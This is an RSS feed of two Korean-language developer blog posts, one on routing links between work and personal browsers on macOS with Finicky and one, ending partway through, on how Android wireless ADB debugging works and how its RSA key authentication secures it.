<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: dss99911</title>
    <description>The latest articles on Forem by dss99911 (@dss99911).</description>
    <link>https://forem.com/dss99911</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F306893%2F1beedabb-02f9-4dc3-8a18-7c7f76036d0a.jpeg</url>
      <title>Forem: dss99911</title>
      <link>https://forem.com/dss99911</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/dss99911"/>
    <language>en</language>
    <item>
      <title>회사 Chrome, 개인 Brave — 링크 클릭 한 번으로 자동 분기하기 (Finicky)</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Wed, 04 Mar 2026 04:22:56 +0000</pubDate>
      <link>https://forem.com/dss99911/hoesa-chrome-gaein-brave-ringkeu-keulrig-han-beoneuro-jadong-bungihagi-finicky-5cbb</link>
      <guid>https://forem.com/dss99911/hoesa-chrome-gaein-brave-ringkeu-keulrig-han-beoneuro-jadong-bungihagi-finicky-5cbb</guid>
      <description>&lt;p&gt;Slack에서 Jira 링크를 클릭했는데 개인 브라우저에서 열려서 다시 회사 Chrome에 URL을 복사해본 적 있으신가요?&lt;/p&gt;

&lt;p&gt;회사 브라우저와 개인 브라우저를 분리해서 쓰는 건 좋은 습관이지만, &lt;strong&gt;매번 링크를 열 때마다 브라우저를 골라야 하는 건&lt;/strong&gt; 은근히 스트레스입니다.&lt;/p&gt;

&lt;p&gt;Finicky를 쓰면, &lt;strong&gt;링크를 클릭하는 것만으로 URL에 따라 올바른 브라우저가 자동으로 열립니다.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Finicky란?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/johnste/finicky" rel="noopener noreferrer"&gt;Finicky&lt;/a&gt;는 macOS용 오픈소스 브라우저 라우터입니다. 자기 자신을 기본 브라우저로 등록한 뒤, 모든 URL 열기 요청을 가로채서 &lt;strong&gt;규칙에 따라 적절한 브라우저로 전달&lt;/strong&gt;합니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart LR
    A["링크 클릭"] --&amp;gt; B["Finicky"]
    B --&amp;gt;|"Jira, AWS, Slack..."| C["Chrome (회사)"]
    B --&amp;gt;|"그 외"| D["Brave (개인)"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  설치
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;brew &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--cask&lt;/span&gt; finicky
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;설치 후 Finicky를 실행하고, &lt;strong&gt;시스템 설정 &amp;gt; 데스크톱 및 Dock &amp;gt; 기본 웹 브라우저&lt;/strong&gt;에서 &lt;strong&gt;Finicky&lt;/strong&gt;를 선택합니다.&lt;/p&gt;

&lt;h2&gt;
  
  
  설정
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;~/.finicky.js&lt;/code&gt; 파일을 생성하고 규칙을 작성합니다. 핸들러는 &lt;strong&gt;위에서부터 순서대로 매칭&lt;/strong&gt;되므로, 예외 규칙을 먼저 배치합니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ~/.finicky.js&lt;/span&gt;
&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;defaultBrowser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Brave Browser&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;handlers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// 예외: Google Photos는 개인 브라우저로&lt;/span&gt;
      &lt;span class="na"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sr"&gt;/.*photos&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;google&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Brave Browser&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// 회사 관련 사이트 -&amp;gt; Chrome&lt;/span&gt;
      &lt;span class="na"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="c1"&gt;// Google Workspace&lt;/span&gt;
        &lt;span class="sr"&gt;/.*docs&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;google&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sr"&gt;/.*drive&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;google&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sr"&gt;/.*meet&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;google&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sr"&gt;/.*calendar&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;google&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sr"&gt;/.*mail&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;google&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="c1"&gt;// Atlassian (Jira, Confluence)&lt;/span&gt;
        &lt;span class="sr"&gt;/.*&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;atlassian&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;net.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sr"&gt;/.*&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;atlassian&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="c1"&gt;// AWS&lt;/span&gt;
        &lt;span class="sr"&gt;/.*&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;console&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;aws&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;amazon&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sr"&gt;/.*&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;signin&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;aws&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;amazon&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="c1"&gt;// Slack (회사 워크스페이스만)&lt;/span&gt;
        &lt;span class="sr"&gt;/.*mycompany&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;slack&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="c1"&gt;// 사내 서비스&lt;/span&gt;
        &lt;span class="sr"&gt;/.*&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;mycompany&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="na"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Google Chrome&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  자주 쓰는 패턴
&lt;/h2&gt;

&lt;h3&gt;
  
  
  특정 도메인 매칭
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mycompany&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;com&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="sr"&gt;/     /&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;mycompany&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;com의&lt;/span&gt; &lt;span class="nx"&gt;모든&lt;/span&gt; &lt;span class="nx"&gt;서브도메인&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;mycompany&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;slack&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;com&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="sr"&gt;/  /&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;회사&lt;/span&gt; &lt;span class="nc"&gt;Slack만 &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;개인&lt;/span&gt; &lt;span class="nx"&gt;Slack&lt;/span&gt; &lt;span class="nx"&gt;제외&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  내부 IP 대역
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="sr"&gt;/    /&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;사내망&lt;/span&gt; &lt;span class="nx"&gt;IP&lt;/span&gt; &lt;span class="nx"&gt;대역&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;192&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;168&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="sr"&gt;/  /&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;로컬&lt;/span&gt; &lt;span class="nx"&gt;네트워크&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  예외 처리 (순서 활용)
&lt;/h3&gt;

&lt;p&gt;Finicky는 &lt;strong&gt;첫 번째로 매칭되는 규칙&lt;/strong&gt;을 적용합니다. 이를 활용해서 "Google 서비스는 Chrome으로, 단 Google Photos만 개인 브라우저로" 같은 예외를 처리할 수 있습니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;handlers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sr"&gt;/.*photos&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;google&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Brave Browser&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;  &lt;span class="c1"&gt;// 먼저 매칭&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sr"&gt;/.*&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;google&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sr"&gt;com.*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;       &lt;span class="na"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Google Chrome&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;  &lt;span class="c1"&gt;// 나머지&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  안전한가요?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;오픈소스&lt;/strong&gt;: GitHub에 소스코드 공개 (4k+ stars)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;외부 통신 없음&lt;/strong&gt;: 로컬에서만 동작하며 URL 데이터를 어디에도 전송하지 않음&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Homebrew 등록&lt;/strong&gt;: &lt;code&gt;brew install --cask finicky&lt;/code&gt;로 설치 가능&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;동작 원리가 단순&lt;/strong&gt;: URL을 받아서 브라우저로 전달하는 것이 전부&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  결론
&lt;/h2&gt;

&lt;p&gt;회사와 개인 브라우저를 분리해서 쓰고 있다면, Finicky 하나로 &lt;strong&gt;"이 링크 어디서 열지?"라는 고민을 완전히 없앨 수 있습니다.&lt;/strong&gt; 설정 파일 하나면 끝이고, 한번 세팅하면 이후에는 신경 쓸 것이 없습니다.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/tools/mac/2026/03/04/finicky-url-based-browser-routing.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>tools</category>
      <category>mac</category>
      <category>macos</category>
      <category>finicky</category>
    </item>
    <item>
      <title>Android ADB 무선 디버깅 완전 정리 - 보안 모델과 현실적인 대응 전략</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Sun, 25 Jan 2026 12:18:23 +0000</pubDate>
      <link>https://forem.com/dss99911/android-adb-museon-dibeoging-wanjeon-jeongri-boan-modelgwa-hyeonsiljeogin-daeeung-jeonryag-454d</link>
      <guid>https://forem.com/dss99911/android-adb-museon-dibeoging-wanjeon-jeongri-boan-modelgwa-hyeonsiljeogin-daeeung-jeonryag-454d</guid>
      <description>&lt;p&gt;Android 개발을 하다 보면 &lt;strong&gt;무선 ADB (&lt;code&gt;adb tcpip&lt;/code&gt; / &lt;code&gt;adb connect&lt;/code&gt;)&lt;/strong&gt; 는 한 번 쓰면 다시 케이블로 돌아가기 힘든 기능입니다.&lt;/p&gt;

&lt;p&gt;하지만 항상 따라오는 질문이 있습니다.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"이거… 보안적으로 괜찮은가?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;이 글은 단순 사용법을 넘어, &lt;strong&gt;ADB 무선 디버깅의 내부 동작 방식과 보안 모델을 끝까지 파본 정리&lt;/strong&gt;입니다.&lt;/p&gt;

&lt;h2&gt;
  
  
  목차
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;ADB 무선 디버깅의 두 가지 방식&lt;/li&gt;
&lt;li&gt;adb tcpip 포트는 언제 열리는가?&lt;/li&gt;
&lt;li&gt;Android IP 주소 알아내는 방법&lt;/li&gt;
&lt;li&gt;ADB 인증 모델 이해하기&lt;/li&gt;
&lt;li&gt;보안적으로 위험한 상황 분석&lt;/li&gt;
&lt;li&gt;무선 ADB 연결 종료 방법&lt;/li&gt;
&lt;li&gt;ADB Key 관리 전략&lt;/li&gt;
&lt;li&gt;현실적인 최종 권장안&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. ADB 무선 디버깅의 두 가지 방식
&lt;/h2&gt;

&lt;p&gt;ADB에는 &lt;strong&gt;두 가지 무선 연결 방식&lt;/strong&gt;이 있습니다.&lt;/p&gt;

&lt;h3&gt;
  
  
  Legacy 방식 (&lt;code&gt;adb tcpip&lt;/code&gt;)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;adb tcpip 5555
adb connect &amp;lt;IP&amp;gt;:5555
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Android 10 이하 기본 방식&lt;/li&gt;
&lt;li&gt;Android 11+에서도 &lt;strong&gt;호환 유지&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;USB로 &lt;strong&gt;최초 1회 인증&lt;/strong&gt; 필요&lt;/li&gt;
&lt;li&gt;이후 &lt;code&gt;adbd&lt;/code&gt;가 TCP 포트(기본 5555) 리슨&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Wireless Debugging (Android 11+)
&lt;/h3&gt;

&lt;p&gt;Android 11부터 도입된 새로운 방식입니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;설정 방법:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;개발자 옵션 → &lt;strong&gt;무선 디버깅&lt;/strong&gt; 활성화&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;페어링 코드로 기기 페어링&lt;/strong&gt; 선택&lt;/li&gt;
&lt;li&gt;PC에서 &lt;code&gt;adb pair &amp;lt;IP&amp;gt;:&amp;lt;pairing-port&amp;gt;&lt;/code&gt; 실행&lt;/li&gt;
&lt;li&gt;6자리 페어링 코드 입력&lt;/li&gt;
&lt;li&gt;이후 &lt;code&gt;adb connect &amp;lt;IP&amp;gt;:&amp;lt;port&amp;gt;&lt;/code&gt; 로 연결&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;특징:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;QR 코드 / 페어링 코드 기반 인증&lt;/li&gt;
&lt;li&gt;세션 기반 인증 (네트워크 변경 시 자동 무효화)&lt;/li&gt;
&lt;li&gt;보안적으로 더 강함&lt;/li&gt;
&lt;li&gt;매번 새로운 포트 번호 할당&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  두 방식의 비교
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TB
    subgraph Legacy["Legacy (adb tcpip)"]
        L1[USB 연결] --&amp;gt; L2[USB 디버깅 승인]
        L2 --&amp;gt; L3[adb tcpip 5555]
        L3 --&amp;gt; L4[고정 포트 5555 리슨]
        L4 --&amp;gt; L5[adb connect IP:5555]
    end

    subgraph Wireless["Wireless Debugging (Android 11+)"]
        W1[개발자 옵션] --&amp;gt; W2[무선 디버깅 ON]
        W2 --&amp;gt; W3[페어링 코드 생성]
        W3 --&amp;gt; W4[adb pair IP:port]
        W4 --&amp;gt; W5[코드 입력]
        W5 --&amp;gt; W6[adb connect IP:port]
    end

    Legacy --&amp;gt; |재부팅 시| OFF1[연결 해제]
    Wireless --&amp;gt; |네트워크 변경 시| OFF2[자동 무효화]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; 샤오미(MIUI / HyperOS)는 핫스팟 ON 시 Wireless Debugging을 비활성화하는 경우가 많아 현실적으로 &lt;code&gt;adb tcpip&lt;/code&gt;만 가능한 경우가 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  2. adb tcpip 포트는 언제 열리는가?
&lt;/h2&gt;

&lt;p&gt;아주 중요한 사실:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;adb tcpip 포트는 USB로 이미 신뢰된 상태에서만 열 수 있습니다&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sequenceDiagram
    participant PC
    participant Android

    Note over PC,Android: USB 연결 필요
    PC-&amp;gt;&amp;gt;Android: USB 연결
    Android-&amp;gt;&amp;gt;PC: RSA 키 인증 요청
    PC-&amp;gt;&amp;gt;Android: 공개키 전송
    Android-&amp;gt;&amp;gt;Android: 사용자 승인 팝업
    Android-&amp;gt;&amp;gt;PC: 승인 완료

    Note over PC,Android: 이제 tcpip 가능
    PC-&amp;gt;&amp;gt;Android: adb tcpip 5555
    Android-&amp;gt;&amp;gt;Android: adbd가 TCP 5555 리슨 시작
    PC-&amp;gt;&amp;gt;Android: adb connect IP:5555
    Android-&amp;gt;&amp;gt;PC: 연결 성공 (이미 승인된 키)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;이건 의도된 보안 설계입니다:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;USB 연결 없이 단말 단독으로 포트 개방 불가&lt;/li&gt;
&lt;li&gt;Wi-Fi만 연결된 상태에서 &lt;code&gt;adb tcpip&lt;/code&gt; 실행 불가&lt;/li&gt;
&lt;li&gt;USB 연결 + USB debugging 승인 &lt;strong&gt;필수&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Android IP 주소 알아내는 방법
&lt;/h2&gt;

&lt;h3&gt;
  
  
  방법 1. 설정 화면 (가장 쉬움)
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;설정 → Wi-Fi&lt;/strong&gt; 이동&lt;/li&gt;
&lt;li&gt;현재 연결된 네트워크 선택&lt;/li&gt;
&lt;li&gt;IP 주소 확인&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;예시:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192.168.0.23
10.16.8.147
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  방법 2. adb 명령어 (USB 연결 상태)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Wi-Fi 연결 시&lt;/span&gt;
adb shell ip addr show wlan0

&lt;span class="c"&gt;# 핫스팟 사용 중일 때&lt;/span&gt;
adb shell ip addr show ap0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  네트워크 인터페이스 정리
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;인터페이스&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;th&gt;ADB 연결 가능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wlan0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Wi-Fi&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ap0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;핫스팟&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;ccmni*&lt;/code&gt;, &lt;code&gt;rmnet*&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;LTE/5G&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  4. ADB 인증 모델 이해하기
&lt;/h2&gt;

&lt;h3&gt;
  
  
  RSA 키 기반 인증
&lt;/h3&gt;

&lt;p&gt;ADB는 &lt;strong&gt;항상 RSA 키 기반 인증&lt;/strong&gt;을 사용합니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart LR
    subgraph PC["PC (~/.android/)"]
        PK[adbkey&amp;lt;br/&amp;gt;개인키]
        PUB[adbkey.pub&amp;lt;br/&amp;gt;공개키]
    end

    subgraph Android["Android"]
        AUTH[승인된 공개키 목록&amp;lt;br/&amp;gt;/data/misc/adb/adb_keys]
    end

    PUB --&amp;gt;|최초 USB 연결 시&amp;lt;br/&amp;gt;사용자 승인| AUTH
    PK --&amp;gt;|연결 시 서명| AUTH
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PC: &lt;code&gt;~/.android/adbkey&lt;/code&gt; (개인키), &lt;code&gt;adbkey.pub&lt;/code&gt; (공개키)&lt;/li&gt;
&lt;li&gt;Android: &lt;code&gt;/data/misc/adb/adb_keys&lt;/code&gt;에 승인된 공개키 저장&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;키가 없으면 연결 자체가 거절됨&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

